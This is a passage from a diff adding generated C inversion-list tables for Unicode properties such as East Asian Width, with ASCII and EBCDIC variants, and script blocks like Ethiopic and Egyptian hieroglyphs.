+	0x126,
+	0x128,
+	0x12B,
+	0x12C,
+	0x131,
+	0x134,
+	0x138,
+	0x139,
+	0x13F,
+	0x143,
+	0x144,
+	0x145,
+	0x148,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x16B,
+	0x16C,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x251,
+	0x252,
+	0x261,
+	0x262,
+	0x2C4,
+	0x2C5,
+	0x2C7,
+	0x2C8,
+	0x2C9,
+	0x2CC,
+	0x2CD,
+	0x2CE,
+	0x2D0,
+	0x2D1,
+	0x2D8,
+	0x2DC,
+	0x2DD,
+	0x2DE,
+	0x2DF,
+	0x2E0,
+	0x300,
+	0x370,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AA,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CA,
+	0x401,
+	0x402,
+	0x410,
+	0x450,
+	0x451,
+	0x452,
+	0x1100,
+	0x1160,
+	0x2010,
+	0x2011,
+	0x2013,
+	0x2017,
+	0x2018,
+	0x201A,
+	0x201C,
+	0x201E,
+	0x2020,
+	0x2023,
+	0x2024,
+	0x2028,
+	0x2030,
+	0x2031,
+	0x2032,
+	0x2034,
+	0x2035,
+	0x2036,
+	0x203B,
+	0x203C,
+	0x203E,
+	0x203F,
+	0x2074,
+	0x2075,
+	0x207F,
+	0x2080,
+	0x2081,
+	0x2085,
+	0x20A9,
+	0x20AA,
+	0x20AC,
+	0x20AD,
+	0x2103,
+	0x2104,
+	0x2105,
+	0x2106,
+	0x2109,
+	0x210A,
+	0x2113,
+	0x2114,
+	0x2116,
+	0x2117,
+	0x2121,
+	0x2123,
+	0x2126,
+	0x2127,
+	0x212B,
+	0x212C,
+	0x2153,
+	0x2155,
+	0x215B,
+	0x215F,
+	0x2160,
+	0x216C,
+	0x2170,
+	0x217A,
+	0x2189,
+	0x218A,
+	0x2190,
+	0x219A,
+	0x21B8,
+	0x21BA,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x21E7,
+	0x21E8,
+	0x2200,
+	0x2201,
+	0x2202,
+	0x2204,
+	0x2207,
+	0x2209,
+	0x220B,
+	0x220C,
+	0x220F,
+	0x2210,
+	0x2211,
+	0x2212,
+	0x2215,
+	0x2216,
+	0x221A,
+	0x221B,
+	0x221D,
+	0x2221,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222D,
+	0x222E,
+	0x222F,
+	0x2234,
+	0x2238,
+	0x223C,
+	0x223E,
+	0x2248,
+	0x2249,
+	0x224C,
+	0x224D,
+	0x2252,
+	0x2253,
+	0x2260,
+	0x2262,
+	0x2264,
+	0x2268,
+	0x226A,
+	0x226C,
+	0x226E,
+	0x2270,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x2295,
+	0x2296,
+	0x2299,
+	0x229A,
+	0x22A5,
+	0x22A6,
+	0x22BF,
+	0x22C0,
+	0x2312,
+	0x2313,
+	0x231A,
+	0x231C,
+	0x2329,
+	0x232B,
+	0x23E9,
+	0x23ED,
+	0x23F0,
+	0x23F1,
+	0x23F3,
+	0x23F4,
+	0x2460,
+	0x24EA,
+	0x24EB,
+	0x254C,
+	0x2550,
+	0x2574,
+	0x2580,
+	0x2590,
+	0x2592,
+	0x2596,
+	0x25A0,
+	0x25A2,
+	0x25A3,
+	0x25AA,
+	0x25B2,
+	0x25B4,
+	0x25B6,
+	0x25B8,
+	0x25BC,
+	0x25BE,
+	0x25C0,
+	0x25C2,
+	0x25C6,
+	0x25C9,
+	0x25CB,
+	0x25CC,
+	0x25CE,
+	0x25D2,
+	0x25E2,
+	0x25E6,
+	0x25EF,
+	0x25F0,
+	0x25FD,
+	0x25FF,
+	0x2605,
+	0x2607,
+	0x2609,
+	0x260A,
+	0x260E,
+	0x2610,
+	0x2614,
+	0x2616,
+	0x261C,
+	0x261D,
+	0x261E,
+	0x261F,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2648,
+	0x2654,
+	0x2660,
+	0x2662,
+	0x2663,
+	0x2666,
+	0x2667,
+	0x266B,
+	0x266C,
+	0x266E,
+	0x266F,
+	0x2670,
+	0x267F,
+	0x2680,
+	0x2693,
+	0x2694,
+	0x269E,
+	0x26A0,
+	0x26A1,
+	0x26A2,
+	0x26AA,
+	0x26AC,
+	0x26BD,
+	0x26C0,
+	0x26C4,
+	0x26E2,
+	0x26E3,
+	0x26E4,
+	0x26E8,
+	0x2700,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x273D,
+	0x273E,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x2757,
+	0x2758,
+	0x2776,
+	0x2780,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x27C0,
+	0x27E6,
+	0x27EE,
+	0x2985,
+	0x2987,
+	0x2B1B,
+	0x2B1D,
+	0x2B50,
+	0x2B51,
+	0x2B55,
+	0x2B5A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x303F,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DC0,
+	0x4E00,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA960,
+	0xA97D,
+	0xAC00,
+	0xD7A4,
+	0xE000,
+	0xFB00,
+	0xFE00,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFD,
+	0xFFFE,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1F004,
+	0x1F005,
+	0x1F0CF,
+	0x1F0D0,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12E,
+	0x1F130,
+	0x1F16A,
+	0x1F170,
+	0x1F1AD,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F321,
+	0x1F32D,
+	0x1F336,
+	0x1F337,
+	0x1F37D,
+	0x1F37E,
+	0x1F394,
+	0x1F3A0,
+	0x1F3CB,
+	0x1F3CF,
+	0x1F3D4,
+	0x1F3E0,
+	0x1F3F1,
+	0x1F3F4,
+	0x1F3F5,
+	0x1F3F8,
+	0x1F43F,
+	0x1F440,
+	0x1F441,
+	0x1F442,
+	0x1F4FD,
+	0x1F4FF,
+	0x1F53E,
+	0x1F54B,
+	0x1F54F,
+	0x1F550,
+	0x1F568,
+	0x1F57A,
+	0x1F57B,
+	0x1F595,
+	0x1F597,
+	0x1F5A4,
+	0x1F5A5,
+	0x1F5FB,
+	0x1F650,
+	0x1F680,
+	0x1F6C6,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F6D0,
+	0x1F6D3,
+	0x1F6EB,
+	0x1F6ED,
+	0x1F6F4,
+	0x1F6F9,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0xE0100,
+	0xE01F0,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_EA__N_invlist[] = { /* for EBCDIC 037 */
+	531,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0x41,
+	0x44,
+	0x46,
+	0x4A,
+	0x53,
+	0x54,
+	0x56,
+	0x58,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x8A,
+	0x8C,
+	0x8D,
+	0x8E,
+	0xA0,
+	0xA1,
+	0xAD,
+	0xAE,
+	0xB4,
+	0xB5,
+	0xCB,
+	0xCD,
+	0xCF,
+	0xD0,
+	0xDB,
+	0xDC,
+	0xDF,
+	0xE0,
+	0xEB,
+	0xF0,
+	0xFB,
+	0x101,
+	0x102,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x11B,
+	0x11C,
+	0x126,
+	0x128,
+	0x12B,
+	0x12C,
+	0x131,
+	0x134,
+	0x138,
+	0x139,
+	0x13F,
+	0x143,
+	0x144,
+	0x145,
+	0x148,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x16B,
+	0x16C,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x251,
+	0x252,
+	0x261,
+	0x262,
+	0x2C4,
+	0x2C5,
+	0x2C7,
+	0x2C8,
+	0x2C9,
+	0x2CC,
+	0x2CD,
+	0x2CE,
+	0x2D0,
+	0x2D1,
+	0x2D8,
+	0x2DC,
+	0x2DD,
+	0x2DE,
+	0x2DF,
+	0x2E0,
+	0x300,
+	0x370,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AA,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CA,
+	0x401,
+	0x402,
+	0x410,
+	0x450,
+	0x451,
+	0x452,
+	0x1100,
+	0x1160,
+	0x2010,
+	0x2011,
+	0x2013,
+	0x2017,
+	0x2018,
+	0x201A,
+	0x201C,
+	0x201E,
+	0x2020,
+	0x2023,
+	0x2024,
+	0x2028,
+	0x2030,
+	0x2031,
+	0x2032,
+	0x2034,
+	0x2035,
+	0x2036,
+	0x203B,
+	0x203C,
+	0x203E,
+	0x203F,
+	0x2074,
+	0x2075,
+	0x207F,
+	0x2080,
+	0x2081,
+	0x2085,
+	0x20A9,
+	0x20AA,
+	0x20AC,
+	0x20AD,
+	0x2103,
+	0x2104,
+	0x2105,
+	0x2106,
+	0x2109,
+	0x210A,
+	0x2113,
+	0x2114,
+	0x2116,
+	0x2117,
+	0x2121,
+	0x2123,
+	0x2126,
+	0x2127,
+	0x212B,
+	0x212C,
+	0x2153,
+	0x2155,
+	0x215B,
+	0x215F,
+	0x2160,
+	0x216C,
+	0x2170,
+	0x217A,
+	0x2189,
+	0x218A,
+	0x2190,
+	0x219A,
+	0x21B8,
+	0x21BA,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x21E7,
+	0x21E8,
+	0x2200,
+	0x2201,
+	0x2202,
+	0x2204,
+	0x2207,
+	0x2209,
+	0x220B,
+	0x220C,
+	0x220F,
+	0x2210,
+	0x2211,
+	0x2212,
+	0x2215,
+	0x2216,
+	0x221A,
+	0x221B,
+	0x221D,
+	0x2221,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222D,
+	0x222E,
+	0x222F,
+	0x2234,
+	0x2238,
+	0x223C,
+	0x223E,
+	0x2248,
+	0x2249,
+	0x224C,
+	0x224D,
+	0x2252,
+	0x2253,
+	0x2260,
+	0x2262,
+	0x2264,
+	0x2268,
+	0x226A,
+	0x226C,
+	0x226E,
+	0x2270,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x2295,
+	0x2296,
+	0x2299,
+	0x229A,
+	0x22A5,
+	0x22A6,
+	0x22BF,
+	0x22C0,
+	0x2312,
+	0x2313,
+	0x231A,
+	0x231C,
+	0x2329,
+	0x232B,
+	0x23E9,
+	0x23ED,
+	0x23F0,
+	0x23F1,
+	0x23F3,
+	0x23F4,
+	0x2460,
+	0x24EA,
+	0x24EB,
+	0x254C,
+	0x2550,
+	0x2574,
+	0x2580,
+	0x2590,
+	0x2592,
+	0x2596,
+	0x25A0,
+	0x25A2,
+	0x25A3,
+	0x25AA,
+	0x25B2,
+	0x25B4,
+	0x25B6,
+	0x25B8,
+	0x25BC,
+	0x25BE,
+	0x25C0,
+	0x25C2,
+	0x25C6,
+	0x25C9,
+	0x25CB,
+	0x25CC,
+	0x25CE,
+	0x25D2,
+	0x25E2,
+	0x25E6,
+	0x25EF,
+	0x25F0,
+	0x25FD,
+	0x25FF,
+	0x2605,
+	0x2607,
+	0x2609,
+	0x260A,
+	0x260E,
+	0x2610,
+	0x2614,
+	0x2616,
+	0x261C,
+	0x261D,
+	0x261E,
+	0x261F,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2648,
+	0x2654,
+	0x2660,
+	0x2662,
+	0x2663,
+	0x2666,
+	0x2667,
+	0x266B,
+	0x266C,
+	0x266E,
+	0x266F,
+	0x2670,
+	0x267F,
+	0x2680,
+	0x2693,
+	0x2694,
+	0x269E,
+	0x26A0,
+	0x26A1,
+	0x26A2,
+	0x26AA,
+	0x26AC,
+	0x26BD,
+	0x26C0,
+	0x26C4,
+	0x26E2,
+	0x26E3,
+	0x26E4,
+	0x26E8,
+	0x2700,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x273D,
+	0x273E,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x2757,
+	0x2758,
+	0x2776,
+	0x2780,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x27C0,
+	0x27E6,
+	0x27EE,
+	0x2985,
+	0x2987,
+	0x2B1B,
+	0x2B1D,
+	0x2B50,
+	0x2B51,
+	0x2B55,
+	0x2B5A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x303F,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DC0,
+	0x4E00,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA960,
+	0xA97D,
+	0xAC00,
+	0xD7A4,
+	0xE000,
+	0xFB00,
+	0xFE00,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFD,
+	0xFFFE,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1F004,
+	0x1F005,
+	0x1F0CF,
+	0x1F0D0,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12E,
+	0x1F130,
+	0x1F16A,
+	0x1F170,
+	0x1F1AD,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F321,
+	0x1F32D,
+	0x1F336,
+	0x1F337,
+	0x1F37D,
+	0x1F37E,
+	0x1F394,
+	0x1F3A0,
+	0x1F3CB,
+	0x1F3CF,
+	0x1F3D4,
+	0x1F3E0,
+	0x1F3F1,
+	0x1F3F4,
+	0x1F3F5,
+	0x1F3F8,
+	0x1F43F,
+	0x1F440,
+	0x1F441,
+	0x1F442,
+	0x1F4FD,
+	0x1F4FF,
+	0x1F53E,
+	0x1F54B,
+	0x1F54F,
+	0x1F550,
+	0x1F568,
+	0x1F57A,
+	0x1F57B,
+	0x1F595,
+	0x1F597,
+	0x1F5A4,
+	0x1F5A5,
+	0x1F5FB,
+	0x1F650,
+	0x1F680,
+	0x1F6C6,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F6D0,
+	0x1F6D3,
+	0x1F6EB,
+	0x1F6ED,
+	0x1F6F4,
+	0x1F6F9,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0xE0100,
+	0xE01F0,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_EA__NA_invlist[] = { /* for ASCII/Latin1 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20,
+	0x7F,
+	0xA2,
+	0xA4,
+	0xA5,
+	0xA7,
+	0xAC,
+	0xAD,
+	0xAF,
+	0xB0,
+	0x27E6,
+	0x27EE,
+	0x2985,
+	0x2987
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_EA__NA_invlist[] = { /* for EBCDIC 1047 */
+	37,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0x41,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA1,
+	0xAA,
+	0xAD,
+	0xAE,
+	0xB0,
+	0xB3,
+	0xBC,
+	0xBE,
+	0xC0,
+	0xCA,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA,
+	0x27E6,
+	0x27EE,
+	0x2985,
+	0x2987
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_EA__NA_invlist[] = { /* for EBCDIC 037 */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0x41,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA1,
+	0xAA,
+	0xB0,
+	0xB3,
+	0xBA,
+	0xBD,
+	0xC0,
+	0xCA,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA,
+	0x27E6,
+	0x27EE,
+	0x2985,
+	0x2987
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_EA__W_invlist[] = { /* for all charsets */
+	209,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1100,
+	0x1160,
+	0x231A,
+	0x231C,
+	0x2329,
+	0x232B,
+	0x23E9,
+	0x23ED,
+	0x23F0,
+	0x23F1,
+	0x23F3,
+	0x23F4,
+	0x25FD,
+	0x25FF,
+	0x2614,
+	0x2616,
+	0x2648,
+	0x2654,
+	0x267F,
+	0x2680,
+	0x2693,
+	0x2694,
+	0x26A1,
+	0x26A2,
+	0x26AA,
+	0x26AC,
+	0x26BD,
+	0x26BF,
+	0x26C4,
+	0x26C6,
+	0x26CE,
+	0x26CF,
+	0x26D4,
+	0x26D5,
+	0x26EA,
+	0x26EB,
+	0x26F2,
+	0x26F4,
+	0x26F5,
+	0x26F6,
+	0x26FA,
+	0x26FB,
+	0x26FD,
+	0x26FE,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x2757,
+	0x2758,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x27C0,
+	0x2B1B,
+	0x2B1D,
+	0x2B50,
+	0x2B51,
+	0x2B55,
+	0x2B56,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3001,
+	0x303F,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x32FF,
+	0x3300,
+	0x4DC0,
+	0x4E00,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA960,
+	0xA97D,
+	0xAC00,
+	0xD7A4,
+	0xF900,
+	0xFB00,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1F004,
+	0x1F005,
+	0x1F0CF,
+	0x1F0D0,
+	0x1F18E,
+	0x1F18F,
+	0x1F191,
+	0x1F19B,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F321,
+	0x1F32D,
+	0x1F336,
+	0x1F337,
+	0x1F37D,
+	0x1F37E,
+	0x1F394,
+	0x1F3A0,
+	0x1F3CB,
+	0x1F3CF,
+	0x1F3D4,
+	0x1F3E0,
+	0x1F3F1,
+	0x1F3F4,
+	0x1F3F5,
+	0x1F3F8,
+	0x1F43F,
+	0x1F440,
+	0x1F441,
+	0x1F442,
+	0x1F4FD,
+	0x1F4FF,
+	0x1F53E,
+	0x1F54B,
+	0x1F54F,
+	0x1F550,
+	0x1F568,
+	0x1F57A,
+	0x1F57B,
+	0x1F595,
+	0x1F597,
+	0x1F5A4,
+	0x1F5A5,
+	0x1F5FB,
+	0x1F650,
+	0x1F680,
+	0x1F6C6,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F6D0,
+	0x1F6D3,
+	0x1F6EB,
+	0x1F6ED,
+	0x1F6F4,
+	0x1F6F9,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE
+};
+
+static const UV PL_EARLYDYNASTICCUNEIFORM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x12480,
+	0x12550
+};
+
+static const UV PL_EGYP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x13000,
+	0x1342F
+};
+
+static const UV PL_ELBA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10500,
+	0x10528
+};
+
+static const UV PL_EMOTICONS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F600,
+	0x1F650
+};
+
+static const UV PL_ENCLOSEDALPHANUM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2460,
+	0x2500
+};
+
+static const UV PL_ENCLOSEDALPHANUMSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F100,
+	0x1F200
+};
+
+static const UV PL_ENCLOSEDCJK_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3200,
+	0x3300
+};
+
+static const UV PL_ENCLOSEDIDEOGRAPHICSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F200,
+	0x1F300
+};
+
+static const UV PL_ETHI_invlist[] = { /* for all charsets */
+	65,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1200,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F
+};
+
+static const UV PL_ETHIOPICEXT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2D80,
+	0x2DE0
+};
+
+static const UV PL_ETHIOPICEXTA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAB00,
+	0xAB30
+};
+
+static const UV PL_ETHIOPICSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1380,
+	0x13A0
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_EXT_invlist[] = { /* for ASCII/Latin1 */
+	59,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB7,
+	0xB8,
+	0x2D0,
+	0x2D2,
+	0x640,
+	0x641,
+	0x7FA,
+	0x7FB,
+	0xE46,
+	0xE47,
+	0xEC6,
+	0xEC7,
+	0x180A,
+	0x180B,
+	0x1843,
+	0x1844,
+	0x1AA7,
